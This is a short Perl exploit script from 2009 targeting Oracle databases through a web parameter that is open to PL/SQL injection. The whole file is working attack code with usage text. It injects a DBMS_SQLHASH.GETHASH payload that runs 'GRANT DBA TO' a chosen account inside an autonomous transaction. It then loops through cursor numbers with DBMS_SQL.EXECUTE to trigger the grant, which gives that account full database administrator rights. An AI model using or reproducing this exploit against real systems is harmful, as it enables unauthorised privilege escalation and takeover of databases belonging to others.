#!/usr/bin/perl
    #Coded by dsu http://dsu.com.ua 2009
    #Vulnerability discovered by David Litchfield

    use LWP::UserAgent;
    $ua = new LWP::UserAgent;
    $ua->agent("MSIE 8" . $ua->agent);
    my $url = $ARGV[0];    #url of injectable param
    my $user = $ARGV[1];   # account to grant dba
    my $curs = 300; #maximal cursor number allowed by default
    my $sql="DDD''||DBMS_SQLHASH.GETHASH(''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''GRANT DBA TO ".$user."''''; COMMIT; END;'',1,1)||''DDDD";
    if (!$ARGV[0] or !$ARGV[0])
    {
        print "##########################################################################\r\n";
        print "#You need a create session privs and pl/sql procedure with sql-injection #\r\n";
        print "#Use: exp.pl http://example.org/e.cgi?param= scott                       #\r\n";
        print "##########################################################################\r\n";
     exit;
    }
    $ex = $url."exploit".$sql;
    print "Inject pl/sql \r\n";
    my $res1 = $ua->get($ex);
    print "Try to execute cursor it take several time\r\n";
    for( $i=1; $i < $curs; $i++ )
    {
                    my $res = $ua->get($url."tst''||(SELECT DBMS_SQL.EXECUTE(".$i.") FROM DUAL)||''tst");
    }
    print "executted";